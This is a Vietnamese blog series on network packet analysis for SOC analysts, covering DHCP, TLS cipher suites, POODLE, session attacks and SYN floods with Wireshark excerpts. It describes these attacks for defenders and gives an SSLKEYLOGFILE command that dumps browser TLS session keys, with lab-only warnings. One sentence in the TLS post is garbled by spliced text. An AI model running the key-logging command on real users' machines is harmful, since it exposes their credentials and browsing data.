1 0.000000 192.168.1.156 -> 203.113.188.6 DNS Standard query 0x24b7 A google.com
2 0.084123 203.113.188.6 -> 192.168.1.156 DNS Standard query response 0x24b7 A google.com A 142.250.198.46

3. DHCP (Dynamic Host Configuration Protocol) và Quy trình DORA

Trước khi máy tính có thể “hỏi đường” bằng DNS, nó phải làm thủ tục “xin hộ khẩu” để có một địa chỉ IP nội bộ hợp lệ nhằm gia nhập mạng. Quá trình tự động hóa này do giao thức DHCP đảm nhận, hoạt động ở Tầng 7 và sử dụng cổng UDP 67 cho Server, UDP 68 cho Client.

Khi bạn vừa cắm dây cáp mạng hoặc bật Wi-Fi, một quy trình 4 bước mang tên DORA sẽ lập tức diễn ra:

D — Discover (Khám phá): Máy tính của bạn lúc này chưa có IP, nó dùng địa chỉ 0.0.0.0 để “hét” lên toàn mạng bằng gói tin Broadcast: “Có ai là DHCP Server ở đây không? Tôi cần một địa chỉ IP!”.
O — Offer (Đề nghị): Router (đóng vai trò DHCP Server) nghe thấy và đáp lại: “Tôi đây! Tôi đang có sẵn địa chỉ 192.168.1.14 trống, cậu có muốn dùng không?”.
R — Request (Yêu cầu): Máy của bạn phản hồi lại toàn mạng: “Tuyệt quá! Tôi đồng ý dùng địa chỉ .14 đó. Làm ơn khóa địa chỉ đó lại cho tôi nhé!”.
A — Acknowledge (Xác nhận): Router chốt sổ và thông báo: “Ok, địa chỉ .14 là của cậu trong vòng 24 giờ tới. Đây là thông số DNS và Default Gateway để cậu vào mạng”.

4. DHCP Starvation và Rogue Server - Sự nguy hiểm của Broadcast

Điểm yếu chí mạng của DHCP là nó hoạt động hoàn toàn dựa trên niềm tin vào bất kỳ thiết bị nào phản hồi lại gói tin Broadcast (255.255.255.255). Kẻ tấn công đứng trong cùng một mạng LAN có thể dễ dàng khai thác niềm tin này:

DHCP Starvation (Tấn công làm cạn kiệt): Hacker sử dụng công cụ tự động để tạo ra hàng vạn gói tin Discover với các địa chỉ MAC giả mạo liên tục. Router sẽ ngây thơ cấp phát toàn bộ dải IP trống trong kho của nó (ví dụ từ .2 đến .254) cho các MAC ảo này. Hậu quả là khi một nhân viên thật kết nối vào mạng, Router sẽ báo “hết số” và họ không thể nhận được IP để vào mạng.
Rogue DHCP Server (Server giả mạo): Hacker chủ động dựng lên một DHCP Server giả ngay trong mạng công ty. Khi máy của nhân viên gửi gói tin Discover xin IP, Server giả này sẽ phản hồi nhanh hơn cả Router thật để cấp IP — nhưng nó sẽ cấp cho nạn nhân một Default Gateway giả mạo trỏ thẳng về máy của hacker. Lúc này, toàn bộ dữ liệu nạn nhân gửi ra Internet đều chảy xuyên qua máy kẻ tấn công, tạo nên một đòn Man-in-the-Middle (MitM) hoàn hảo.

Cảnh báo SOC: Để chống lại các cuộc tấn công hạ tầng này, quản trị viên mạng cần cấu hình tính năng DHCP Snooping trên các Switch vật lý. Tính năng này sẽ chỉ cho phép các cổng (Port) kết nối với Router thật mới được quyền gửi gói tin Offer và Acknowledge, chặn đứng mọi DHCP Server giả mạo.

Thấu hiểu cách DNS và DHCP vận hành giúp SOC Analyst phát hiện sớm các chiến dịch đánh cắp dữ liệu hoặc nghe lén mạng nội bộ trước khi chúng gây ra hậu quả. Sau khi gói tin của chúng ta đã có IP và tìm được đích đến, nó sẽ được chuyển giao cho các giao thức truyền tải văn bản và tệp tin. Trong Bài 9 tiếp theo, chúng ta sẽ phân tích sâu hơn về HTTP/HTTPS, cách FTP làm lộ mật khẩu trần trụi và kiến trúc đường hầm an toàn của SFTP. Hẹn gặp lại các bạn!

Giải phẫu TLS Handshake & Cipher Suites trên Wireshark

Thu, 21 May 2026 22:51:00 +0700

Chào mừng các bạn tiếp tục với Series Giải phẫu Mạng & Packet Analysis! Ở bài trước, chúng ta đã hiểu được tầm quan trọng của Tầng 6 (Presentation) và sự sụp đổ của SSL 3.0. Hôm nay, chúng ta sẽ đặt giao thức TLS lên “bàn mổ” Wireshark để soi kỹ từng bước trong quá trình đàm phán bảo mật. Hãy cùng giải phẫu các gói tin Client Hello, Server Hello và bóc tách ý nghĩa của bộ công cụ mật mã hiện đại như ECDHE hay CHACHA20_POLY1305.

1. Bức tranh toàn cảnh TLS Handshake

Trước khi mã hóa bất kỳ dữ liệu thực tế nào (Application Data), máy khách và máy chủ phải thiết lập các quy tắc chung thông qua quá trình bắt tay TLS (TLS Handshake). Quá trình này chỉ được bắt đầu sau khi hai thiết bị đã thiết lập xong kết nối vật lý qua TCP 3-Way Handshake ở Tầng 4.

Các bước cơ bản của quy trình diễn ra như sau:

Client Hello: Máy khách (như trình duyệt của bạn) gửi lời chào, kèm theo danh sách các bộ công cụ mật mã (Cipher Suites) mà máy của bạn có thể hỗ trợ.
Server Hello: Máy chủ nhận lời chào, so sánh và chọn ra một bộ công cụ duy nhất tốt nhất để hai bên cùng sử dụng.
Certificate & Key Exchange: Máy chủ gửi chứng chỉ (Certificate) để chứng minh danh tính, sau đó hai bên tiến hành trao đổi Khóa phiên (Session Key).
Finished: “Đường hầm” mã hóa chính thức hoàn tất. Từ thời điểm này, mọi dữ liệu HTTP mới bắt đầu được truyền đi dưới dạng ẩn danh (Encrypted Application Data).

2. Đọc hiểu Client Hello trên Wireshark

Chúng ta sẽ sử dụng bộ lọc tls.handshake.type == 1 trên Wireshark để xem máy khách mang những gì đến “buổi đàm phán” ban đầu.

# Bộ lọc Wireshark để tìm gói tin Client Hello
# IP máy khách: 192.168.1.14 | IP máy chủ đích: 72.34.249.208

Handshake Protocol: Client Hello
 Handshake Type: Client Hello (1)
 Length: 1910
 Version: TLS 1.2 (0x0303)
 Random: a0c794e5688f06092ca15a0a7c7452952d79b8af66b763645a55c5d0689b60dd
 Session ID Length: 32
 Session ID: 5f9fe71acbee191437c11861cf72ad48870cb6bb38d3fd5e0bbe731b6e52a7c7
 Cipher Suites Length: 32
 Cipher Suites (16 suites)
 Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 (0xc02c)
 Cipher Suite: TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (0xcca8)
 [...]

Trong gói tin này, trường thông tin mang tính sống còn nhất là Cipher Suites (16 suites). Trình duyệt của bạn đang gửi một danh sách gồm 16 thuật toán mật mã khác nhau và truyền đạt thông điệp: “Đây là tất cả những vũ khí bảo mật mà tôi có, Server hãy chọn ra một cái nhé!”.

3. Giải phẫu Cipher Suite (Thuật toán CHACHA20_POLY1305)

Ngay sau Client Hello, Server sẽ đáp lại bằng gói Server Hello (bộ lọc tls.handshake.type == 2) và chốt lại một “bộ công cụ mật mã” duy nhất. Giả sử Server đã chọn TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256.

Dưới góc độ một SOC Analyst, bạn bắt buộc phải biết cách “dịch” chuỗi mã này từ trái sang phải:

TLS: Tên giao thức nền tảng đang sử dụng.
ECDHE (Elliptic Curve Diffie-Hellman Ephemeral): Thuật toán dùng để trao đổi khóa. Chữ “E” (Ephemeral) đảm bảo tính Perfect Forward Secrecy — mỗi phiên làm việc có một khóa riêng. Ngay cả khi hacker đánh cắp được Khóa bí mật tĩnh của máy chủ vào ngày mai, chúng cũng không thể dùng nó để giải mã các gói tin Wireshark bắt được từ hôm nay.
RSA: Thuật toán xác thực danh tính. Dùng để chứng minh với máy khách rằng Server thực sự là đúng địa chỉ (thông qua Certificate).
CHACHA20_POLY1305: Thuật toán mã hóa đối xứng — phần lõi dùng để xáo trộn dữ liệu. Cực kỳ hiện đại, chạy mượt mà và tiết kiệm pin trên thiết bị di động so với thuật toán AES cũ.
SHA256: Thuật toán băm dùng cho HMAC, đảm bảo không một ai có thể thay đổi dù chỉ 1 bit dữ liệu trên đường truyền mà không bị phát hiện.

4. Giải mã dữ liệu TLS trong thực chiến (Decryption)

Bình thường, khi bạn soi các gói tin sau quá trình Handshake, bạn sẽ chỉ thấy một vùng xám xịt mang tên Encrypted Application Data chứa toàn ký tự rác. Để phục vụ công tác điều tra phân tích mạng (Network Forensics), chúng ta có thể ép trình duyệt nhả “Khóa phiên” (Session Key) ra một file log, sau đó nạp file này vào Wireshark để giải mã toàn bộ luồng dữ liệu.

Cảnh báo bảo mật: Cú pháp dưới đây thiết lập biến môi trường để trích xuất khóa mã hóa riêng tư. Chỉ được phép thực hiện trên môi trường Lab hoặc máy phân tích cách ly. Tuyệt đối không chạy lệnh này trên máy tính của người dùng thực tế vì nó sẽ làm lộ toàn bộ dữ liệu duyệt web (tài khoản, mật khẩu) của họ!

# Chỉ định đường dẫn file log để lưu Session Key của trình duyệt
export SSLKEYLOGFILE=~/tls_keys.log

# Mở trình duyệt Firefox từ terminal hiện tại để bắt đầu ghi nhận khóa
firefox &

Sau khi cấu hình Wireshark trỏ đến file tls_keys.log này (trong mục Preferences > Protocols > TLS), phép màu sẽ xảy ra. Các gói tin vốn bị mã hóa đen đặc giờ đây sẽ hiển thị thêm một tab Decrypted TLS. Bạn sẽ thấy rõ nguyên hình dữ liệu HTTP/2 trần trụi, bao gồm các phương thức GET/POST hay các chuỗi Header rõ ràng.

Việc đọc hiểu tường tận các bộ Cipher Suites và quy trình TLS Handshake giúp Blue Team đánh giá chính xác chất lượng bảo mật của các kết nối đang diễn ra trên hệ thống. Dù Tầng 6 đã tạo ra một đường hầm mã hóa kiên cố, nhưng chính những ứng dụng ở Tầng trên cùng mới là mục tiêu bị tin tặc khai thác nhiềutích “góc khuất ngây thơ” của hệ thống phân giải tên miền (DNS) và quá trình xin cấp phát IP của DHCP. Các bạn đừ nhất. Trong Bài 8 tiếp theo, chúng ta sẽ chính thức bước vào Lớp Ứng dụng (Application Layer - OSI 7) để phân ng bỏ lỡ nhé!

Lớp 6 (Presentation) & Lớp vỏ Mã hóa - Từ SSL đến TLS và Lỗ hổng POODLE

Thu, 21 May 2026 22:50:00 +0700

Chào mừng các bạn tiếp tục với Series Giải phẫu Mạng & Packet Analysis! Ở bài trước, chúng ta đã tìm hiểu cách Tầng 5 duy trì các phiên làm việc, nhưng nếu dữ liệu (như mật khẩu, cookie) cứ thế truyền đi trần trụi thì hacker đứng giữa mạng sẽ dễ dàng tóm gọn. Đó là lúc Tầng 6 (Presentation Layer) xuất hiện như một “lớp vỏ bọc thép” để thông dịch, nén và xáo trộn mọi thông tin trước khi đẩy ra mạng. Hôm nay, chúng ta sẽ cùng mổ xẻ cơ chế hoạt động của Tầng 6, phân tích sự tiến hóa từ SSL lên TLS và bóc trần đòn đánh POODLE khét tiếng đã định hình lại tiêu chuẩn bảo mật toàn cầu.

1. Tầng 6 (Presentation) làm nhiệm vụ gì?

Trong khi các tầng dưới chỉ lo việc “vận chuyển”, Tầng 6 đóng vai trò là một “người phiên dịch và đóng gói” dữ liệu chuẩn mực để đảm bảo hai thiết bị có hệ điều hành khác nhau vẫn có thể hiểu nhau. Ở tầng này, ranh giới giữa giao thức và định dạng tệp (như JPEG, MP4, JSON, XML) trở nên rất mong manh.

Tầng 6 đảm nhiệm 3 trọng trách cốt lõi:

Thông dịch (Translation): Chuyển đổi giữa các bảng mã (như ASCII sang UTF-8). Điều này đảm bảo khi bạn gõ tiếng Việt trên ứng dụng, máy chủ ở Mỹ vẫn hiển thị đúng chữ “Học” chứ không bị lỗi font ô vuông.
Nén dữ liệu (Compression): Giảm dung lượng dữ liệu (như luồng stream video MP4) trước khi truyền đi để tiết kiệm băng thông.
Mã hóa (Encryption): Đây là phần quan trọng nhất đối với Blue Team. Toàn bộ quá trình mã hóa dữ liệu để biến văn bản thuần thành một chuỗi ký tự rác (Encrypted Application Data) được xử lý tại đây. Đại diện tiêu biểu nhất chính là giao thức SSL/TLS.

2. Kỷ nguyên của SSL và Lỗ hổng chí mạng POODLE

Secure Sockets Layer (SSL) là thế hệ giao thức mã hóa đầu tiên bảo vệ Internet. Nó hoạt động dựa trên cơ chế bắt tay bằng Khóa công khai (Public Key) và Khóa bí mật (Private Key). Máy khách sẽ kiểm tra “Chứng chỉ số” của Server, tự tạo ra một Khóa phiên (Session Key) ngẫu nhiên, dùng Khóa công khai của Server bọc lại rồi gửi đi. Chỉ Server cầm Khóa bí mật mới mở được hộp để lấy Khóa phiên dùng cho việc liên lạc sau đó.

Tuy nhiên, SSL 3.0 đã bị khai tử hoàn toàn bởi một lỗ hổng có tên gọi thú vị: POODLE (Padding Oracle On Downgraded Legacy Encryption).

Đòn tấn công này đánh trực diện vào cách SSL 3.0 xử lý các “dữ liệu đệm” (padding). Hacker đứng ở giữa mạng (MitM) sẽ chủ động can thiệp làm nhiễu kết nối để ép Server và Client phải hạ cấp (Downgrade) bảo mật từ TLS xịn xuống dùng SSL 3.0 cũ. Sau đó, chúng liên tục gửi các gói tin chỉnh sửa nhẹ đến Server. Chỉ bằng việc quan sát Server trả lời là “Lỗi rồi” hay “OK”, hacker có thể đoán ngược lại từng byte dữ liệu. Sau vài trăm lần thử, chúng lấy được toàn bộ Cookie phiên đăng nhập của bạn mà không cần phải tốn công bẻ khóa.

Cảnh báo SOC: POODLE chứng minh rằng thuật toán mã hóa mạnh đến đâu cũng vô dụng nếu giao thức đàm phán bị lỗi. SOC Analyst cần cấu hình Firewall và Web Server (Nginx, HAProxy) tắt hoàn toàn việc hỗ trợ SSL v2/v3, chỉ chấp nhận TLS 1.2 trở lên để chống lại đòn Downgrade Attack.

3. Sự tiến hóa lên TLS (Transport Layer Security)

Để khắc phục yếu điểm của SSL, TLS ra đời. Thay vì chỉ mã hóa thụ động, TLS đóng vai trò như một hệ thống an ninh chủ động với các nâng cấp vượt bậc:

Xác thực mạnh mẽ: Bỏ hẳn MD5 và SHA-1 để chuyển sang các hàm băm hiện đại như SHA-256.
Chống sửa đổi (Integrity): TLS sử dụng thuật toán HMAC (Hash-based Message Authentication Code). Kẻ tấn công không thể thay đổi dù chỉ 1 bit dữ liệu trên đường đi mà không bị hệ thống phát hiện.
Bảo mật chuyển tiếp (Perfect Forward Secrecy): Nhờ thuật toán trao đổi khóa ECDHE, mỗi phiên làm việc có một khóa riêng. Ngay cả khi hacker đánh cắp được Khóa bí mật tĩnh của máy chủ vào ngày mai, chúng cũng không thể dùng nó để giải mã các gói tin Wireshark mà chúng đã nghe lén từ hôm nay.

4. Giải phẫu Cipher Suite trên Wireshark

Khi bạn truy cập một trang web HTTPS, trong gói tin Server Hello trên Wireshark, máy chủ sẽ chốt lại một “Bộ công cụ mật mã” (Cipher Suite) duy nhất để hai bên sử dụng. Dưới đây là cách SOC Analyst đọc hiểu bộ mã TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256:

# Log Wireshark soi gói tin Server Hello chốt thuật toán mã hóa
# Bộ lọc: tls.handshake.type == 2

Handshake Protocol: Server Hello
 Version: TLS 1.2 (0x0303)
 Session ID Length: 32
 Cipher Suite: TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (0xcca8)

Cách đọc chuỗi Cipher Suite trên từ trái sang phải: ví dụ trong ảnh là TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256

ECDHE: Thuật toán trao đổi khóa (đảm bảo Perfect Forward Secrecy).
RSA: Thuật toán xác thực danh tính (chứng minh máy chủ qua Certificate).
CHACHA20_POLY1305: Thuật toán mã hóa đối xứng thực hiện xáo trộn dữ liệu (tốc độ cực nhanh trên thiết bị hiện đại).
SHA256: Thuật toán băm dùng cho HMAC để kiểm tra tính toàn vẹn của gói tin.

Dưới góc độ phân tích sự cố, nếu muốn “giải mã” các gói tin TLS để xem dữ liệu thô (HTTP) trên Wireshark, bạn có thể buộc trình duyệt xuất file lưu trữ Khóa phiên (Session Key) ra ổ cứng:

# Thiết lập biến môi trường để Firefox/Chrome nhả Khóa phiên ra file log
# Chỉ dùng trên máy Lab/máy phân tích, KHÔNG dùng trên máy người dùng thực tế

export SSLKEYLOGFILE=~/tls_keys.log
firefox &

5. Mã hóa TLS có an toàn tuyệt đối?

Dù TLS rất thông minh, nó vẫn có những “gót chân Achilles” mà Blue Team cần dè chừng:

Tấn công vào Chứng chỉ (Certificate Attacks): TLS dựa vào niềm tin của Certificate. Nếu hacker lừa người dùng cài một “Root Certificate” giả vào máy, chúng có thể thực hiện Man-in-the-Middle (MitM) để giải mã mọi thứ trơn tru.
Lỗ hổng thực thi (Implementation Bugs): Lỗi không nằm ở lý thuyết TLS mà nằm ở người code thư viện — điển hình là vụ Heartbleed trên OpenSSL cho phép đọc trộm bộ nhớ RAM của máy chủ.
Tấn công kênh kề (Side-channel): Hacker không thèm bẻ khóa, chúng chỉ ngồi đếm kích thước gói tin và thời gian phản hồi để đoán người dùng đang xem trang web gì.

Như vậy, đi qua Tầng 6, dữ liệu của chúng ta đã được đóng gói định dạng và khoác lên mình lớp áo giáp mã hóa bất khả xâm phạm. Giờ đây, “thùng hàng” này đã sẵn sàng để được giao cho Tầng cuối cùng: Tầng 7 (Application). Ở bài viết tiếp theo — Bài 7, chúng ta sẽ khám phá thế giới của Tầng Ứng dụng, nơi diễn ra các cuộc tấn công dữ dội nhất nhắm vào các giao thức DNS ngây thơ, quá trình xin cấp IP của DHCP và sự nguy hiểm của FTP truyền thống. Đừng bỏ lỡ nhé!

Lớp 5 (Session) & Ranh giới của Phiên làm việc

Thu, 21 May 2026 22:30:00 +0700

Chào mừng các bạn tiếp tục với Series Giải phẫu Mạng & Packet Analysis! Sau khi đã thiết lập xong “đường ống” vật lý vững chắc bằng giao thức TCP ở Tầng 4, hệ thống phải đối mặt với một bài toán mới: Làm sao để “nhớ mặt” người dùng mà không bắt họ phải đăng nhập lại sau mỗi cú click chuột? Đó chính là nhiệm vụ của Tầng 5 (Session Layer) — nơi ranh giới của các phiên làm việc được thiết lập và cũng là nơi hacker tung ra những đòn cướp quyền vô cùng hiểm độc.

1. Tầng 5 (Session) và Sự cần thiết của Phiên làm việc

Khi bạn mở trình duyệt web và thực hiện nhiều yêu cầu cùng lúc (như mở nhiều tab, tải nhiều ảnh), dữ liệu có nguy cơ bị lẫn lộn vào nhau. Tầng 5 (Lớp Phiên) sinh ra để giải quyết vấn đề này bằng cách thiết lập, quản lý và kết thúc các phiên kết nối. Nó đóng vai trò tạo ra một ranh giới độc nhất cho từng cuộc liên lạc.

Ở mức độ truyền tải, Tầng 5 quản lý “luồng” nói chuyện thông qua 3 chế độ:

Đơn công (Simplex): Dữ liệu chỉ đi một chiều (như bạn nghe radio).
Bán song công (Half-duplex): Hai bên nói chuyện luân phiên (như bộ đàm — người này nói xong người kia mới được nói).
Song công toàn phần (Full-duplex): Cả hai cùng nói và nghe cùng lúc (như gọi điện thoại di động).

Tuy nhiên, bài toán lớn nhất ở đây là hiệu năng. Việc bắt tay (Handshake) ở Tầng 4 (TCP) và Tầng 6 (TLS) cực kỳ tốn thời gian và làm “mệt” CPU của máy chủ. Để tối ưu hóa, Tầng 5 không bắt hai thiết bị phải chào hỏi lại từ đầu cho mỗi gói tin, mà sử dụng các cơ chế định danh đặc biệt.

2. Giải phẫu Session ID và Session Ticket trên Wireshark

Để duy trì trạng thái kết nối, Tầng 5 sử dụng hai công cụ chính là Session ID và Session Ticket. Bằng cách dùng Wireshark, chúng ta có thể dễ dàng bắt được những “tấm vé” này bay trên không gian mạng.

2.1 Định danh cuộc trò chuyện bằng Session ID

Sau lần bắt tay đầu tiên thành công, máy chủ sẽ cấp cho bạn một “mã số định danh” gọi là Session ID. Khi máy bạn gửi hàng nghìn khung dữ liệu tiếp theo, nó chỉ cần đính kèm ID này. Server nhìn vào ID sẽ biết ngay: “Đây là khách quen, đã kiểm tra an ninh xong rồi, cho dữ liệu đi thẳng lên Tầng 6 để xử lý!”.

# Lọc gói tin Server Hello để tìm Session ID do máy chủ cấp phát
# Cú pháp bộ lọc trên Wireshark: tls.handshake.type == 2

Handshake Protocol: Server Hello
 Handshake Type: Server Hello (2)
 Length: 118
 Version: TLS 1.2 (0x0303)
 Random: dc3aa089a0c8825e54cc0106c17a0cb90305776b2d49f405fe30dc0f2bfad484
 Session ID Length: 32
 Session ID: d451a3116057f79488abdba0e27371ef79b25a156fcd8afaf011b9aa5bdb900b
 Cipher Suite: TLS_AES_128_GCM_SHA256 (0x1301)

Cái dãy số Hex dài đó (d451a311…) dùng để: Định danh cuộc trò chuyện: Khi máy Lenovo của bạn gửi hàng nghìn Frame dữ liệu tiếp theo (như các gói DATA của HTTP/2), nó không cần phải gửi lại toàn bộ thông tin chào hỏi. Nó chỉ cần gắn cái ID này vào (hoặc dùng trạng thái đã thiết lập từ ID này). Nhận diện người quen: Server nhìn vào ID này sẽ biết: “À, đây là gói tin tiếp theo của ông bạn ở IP 192.168.1.156, đã kiểm tra xong xuôi rồi, cho dữ liệu đi thẳng lên Tầng 6 để dịch luôn!”.

2.2 Vé phục hồi nhanh (Session Ticket)

Để đẩy nhanh tốc độ kết nối lại (0-RTT), máy chủ cung cấp một Session Ticket. Đây thực chất là một cái “vé” lưu trữ trạng thái bảo mật của phiên trước đó. Thay vì phải tính toán lại các thuật toán mã hóa nặng nề, máy khách chỉ cần trình chiếc vé này ra để nối lại phiên làm việc ngay lập tức.

# Lọc gói tin New Session Ticket để xem vé bảo mật được mã hóa
# Cú pháp bộ lọc trên Wireshark: tls.handshake.type == 4

TLSv1.3 Record Layer: Handshake Protocol: New Session Ticket
 Content Type: Application Data (23)
 Version: TLS 1.2 (0x0303)
 Handshake Protocol: New Session Ticket
 Handshake Type: New Session Ticket (4)
 Length: 53
 TLS Session Ticket
 Session Ticket Lifetime Hint: 600 seconds (10 minutes)
 Session Ticket Age Add: 3185912667
 Session Ticket Nonce Length: 8
 Session Ticket: af23cc7378d7440f6a6447726da2062b7d2198d9b8c7aaad6a71213fba0cbb97

3. Các đòn tấn công tử huyệt nhắm vào Phiên làm việc

Hacker hiểu rất rõ giá trị của những mã Session ID này. Vì Server hoàn toàn tin tưởng vào cái vé, nên kẻ nào cầm vé, kẻ đó có quyền. Dưới đây là 3 đòn tấn công kinh điển ở Tầng 5.

3.1 Cướp Phiên (Session Hijacking)

Đây là đòn đánh trực diện nhất. Kẻ địch hoàn toàn không cần biết mật khẩu của bạn.

Chúng chỉ cần “đánh cắp” được Session ID đang nằm trong Cookie hoặc bộ nhớ đệm trình duyệt thông qua các kỹ thuật như Sniffing (nghe lén mạng Wi-Fi không an toàn) hoặc tấn công Cross-Site Scripting (XSS). Khi có được ID này, chúng dùng nó để gửi gói tin lên Server. Server sẽ lầm tưởng hacker chính là bạn và cho phép truy cập thẳng vào tài khoản.

Cảnh báo SOC: Để chống lại Session Hijacking, hệ thống mạng bắt buộc phải mã hóa toàn bộ dữ liệu truyền tải bằng HTTPS/TLS và các Cookie phải được gắn cờ Secure cùng HttpOnly để ngăn mã độc JavaScript trích xuất Session ID.

3.2 Tấn công Phản hồi (Replay Attack)

Lỗ hổng này đánh thẳng vào cơ chế “vé phục hồi nhanh” (New Session Ticket / 0-RTT) mà chúng ta vừa soi trên Wireshark.

Vì cái vé này được thiết kế để kết nối nhanh mà không cần bắt tay lại, hacker có thể can thiệp ở giữa mạng (MitM), bắt lấy bản sao gói tin chứa Ticket của bạn và gửi lại cho Server nhiều lần. Nếu hệ thống ứng dụng không có cơ chế chống trùng lặp (ví dụ: dùng timestamp hoặc nonce), hacker có thể ép Server thực hiện lại một giao dịch nhạy cảm (như chuyển tiền) nhiều lần chỉ bằng cách “phát lại” cái vé cũ đó.

3.3 Cố định Phiên (Session Fixation)

Ngược lại với việc đi ăn cắp, trong kỹ thuật này hacker lại chủ động “tặng” cho bạn một cái ID.

Kẻ tấn công sẽ tạo ra một Session ID hợp lệ từ trước, sau đó lừa bạn click vào một đường link chứa sẵn ID đó để đăng nhập. Sau khi bạn đăng nhập thành công, hệ thống vô tình “đóng dấu xác thực” cho cái ID do hacker cung cấp. Lúc này, hacker chỉ cần ung dung nhập cái ID mà chúng đã biết trước đó vào trình duyệt — phiên làm việc lúc này trở thành “dùng chung” giữa bạn và hacker.

Việc thấu hiểu Tầng 5 giúp SOC Analyst nhận ra rằng: Không phải cứ đăng nhập xong là an toàn tuyệt đối, bởi nếu kẻ gian cướp được “tấm vé” Session, chúng nghiễm nhiên trở thành người chủ hợp pháp. Tuy nhiên, cái vé đó và toàn bộ dữ liệu ứng dụng thực chất được xáo trộn như thế nào để không ai đọc lén được trên mạng? Trong Bài 6 tiếp theo, chúng ta sẽ bước lên Tầng 6 (Presentation) để bóc tách lớp vỏ mã hóa SSL/TLS, giải phẫu thuật toán CHACHA20 và tìm hiểu lỗ hổng POODLE khét tiếng. Hãy cùng chờ đón nhé!

Bắt bệnh Mạng bằng Wireshark & Tấn công DDoS

Thu, 21 May 2026 22:00:00 +0700

Chào mừng các bạn tiếp tục với Series Giải phẫu Mạng & Packet Analysis! Ở bài trước, chúng ta đã hiểu được “trái tim” TCP và nghệ thuật bắt tay 3 bước ở Tầng 4. Hôm nay, chúng ta sẽ thực sự ứng dụng Wireshark để “bắt bệnh” các lỗi đường truyền kinh điển, đồng thời phân tích cách hacker lợi dụng chính cơ chế của TCP/UDP để phát động các đòn tấn công từ chối dịch vụ (DDoS) tàn khốc.

1. “Bắt bệnh” Mạng chậm và Rớt gói tin bằng Wireshark

Giao thức TCP được thiết kế để đảm bảo không một byte dữ liệu nào bị mất trên đường truyền. Do đó, khi mạng gặp sự cố (như đứt cáp, quá tải, nhiễu sóng), TCP sẽ “la hét” và để lại những dấu vết cực kỳ rõ ràng. Dưới góc độ SOC Analyst, bạn có thể dùng các bộ lọc sau đây trên Wireshark để chẩn đoán nguyên nhân.

1.1 Mất gói và Gửi lại (Retransmission)

Khi máy gửi đã đẩy gói tin đi nhưng đợi mãi (hết thời gian RTO - Retransmission Timeout) mà không nhận được gói ACK xác nhận từ máy nhận, nó bắt buộc phải gửi lại gói tin đó.

Cú pháp lọc: tcp.analysis.retransmission
Dấu hiệu: Wireshark sẽ tô màu đen chữ đỏ rực rỡ cho các dòng này. Nếu bộ lọc này trả về hàng ngàn kết quả, đường truyền vật lý đang cực kỳ bất ổn và hệ thống đang lãng phí băng thông để gửi lại dữ liệu cũ, làm tốc độ mạng chậm đi rõ rệt.

1.2 Thiếu mảnh dữ liệu (Duplicate ACK)

Đây là cảnh tượng máy nhận đang “gào thét” đòi một mảnh dữ liệu bị mất ở giữa luồng truyền.

Cú pháp lọc: tcp.analysis.duplicate_ack
Dấu hiệu: Bạn sẽ thấy máy nhận gửi liên tiếp các gói ACK có cùng một số hiệu xác nhận (ví dụ: 3-4 gói đều mang Ack=4680). Điều này có nghĩa là: “Tôi đã nhận được các gói 4681, 4682 rồi, nhưng cái gói 4680 vẫn chưa tới, hãy gửi lại ngay!”. Khi nhận được 3 gói Dup ACK liên tiếp, máy gửi sẽ kích hoạt cơ chế Fast Retransmit để gửi bù ngay lập tức.

1.3 Hệ thống bị ngộp (Zero Window)

Sự cố này không do đường truyền, mà do năng lực xử lý của máy tính (hoặc Server) đã chạm đáy.

Cú pháp lọc: tcp.analysis.zero_window
Dấu hiệu: Máy nhận sẽ ném ra một gói tin với tham số Win=0. Đây là cơ chế Kiểm soát luồng (Flow Control) của TCP, mang thông điệp: “Dừng lại ngay! Bộ nhớ đệm (Buffer) của tôi đã đầy cứng rồi, không còn chỗ chứa thêm dữ liệu nào nữa đâu!”.

2. SYN Flood: Đòn đánh vào sự “Kỹ tính” của TCP

Hacker luôn biết cách biến “tính năng” thành “vũ khí”. Việc TCP yêu cầu phải Bắt tay 3 bước khắt khe vô tình tạo ra một lỗ hổng chí mạng cho các cuộc tấn công DDoS dạng SYN Flood.

Kịch bản tấn công diễn ra như sau:

Kẻ tấn công gửi hàng vạn gói ngỏ lời SYN đến máy chủ đích.
Máy chủ ngây thơ phân bổ tài nguyên bộ nhớ, tạo một “nửa kết nối” (Half-open connection) và gửi lại gói SYN-ACK.
Máy chủ chờ đợi gói ACK cuối cùng để hoàn tất — nhưng kẻ tấn công tuyệt đối không bao giờ trả lời. Máy chủ cứ thế chờ đợi cho đến khi cạn kiệt tài nguyên (CPU, RAM) và bị treo cứng, từ chối phục vụ người dùng hợp lệ.

Đây là output Wireshark ghi lại khi kẻ tấn công 10.10.53.248 liên tục bắn gói SYN vào Server 192.168.1.10:

# Lọc để phát hiện SYN Flood: tcp.flags.syn == 1 && tcp.flags.ack == 0
# Dấu hiệu: hàng ngàn gói SYN từ cùng một IP, không có gói ACK phản hồi

No. Time Source Destination Protocol Info
1 0.0000 10.10.53.248 -> 192.168.1.10 TCP 45892 -> 443 [SYN] Seq=0 Win=64240 Len=0
2 0.0001 10.10.53.248 -> 192.168.1.10 TCP 45893 -> 443 [SYN] Seq=0 Win=64240 Len=0
3 0.0002 10.10.53.248 -> 192.168.1.10 TCP 45894 -> 443 [SYN] Seq=0 Win=64240 Len=0
4 0.0003 10.10.53.248 -> 192.168.1.10 TCP 45895 -> 443 [SYN] Seq=0 Win=64240 Len=0
[...]

Cảnh báo SOC: Kẻ tấn công thường sử dụng địa chỉ IP nguồn giả mạo (Spoofed IP) trong các cuộc tấn công SYN Flood. Do đó, việc dùng Firewall để chặn IP nguồn đơn lẻ là không hiệu quả. SOC cần cấu hình các cơ chế phòng thủ chuyên sâu như SYN Cookies trên Tường lửa/Load Balancer.

3. UDP Flood: Đòn đánh “Lấy thịt đè người”

Trái ngược với sự kỹ tính của TCP, giao thức UDP lại đại diện cho sự “tự do”: Không bắt tay, không cần số thứ tự, cứ có dữ liệu là ném đi. Giao thức này thường dùng cho Game hoặc Livestream, nhưng cũng là công cụ tàn phá ưa thích của Hacker.

Trong tấn công UDP Flood, hacker không cần lừa máy chủ bắt tay. Chúng chỉ đơn giản là huy động một mạng lưới máy tính ma (Botnet) để bắn hàng triệu gói tin UDP rác vào các cổng ngẫu nhiên trên Server.

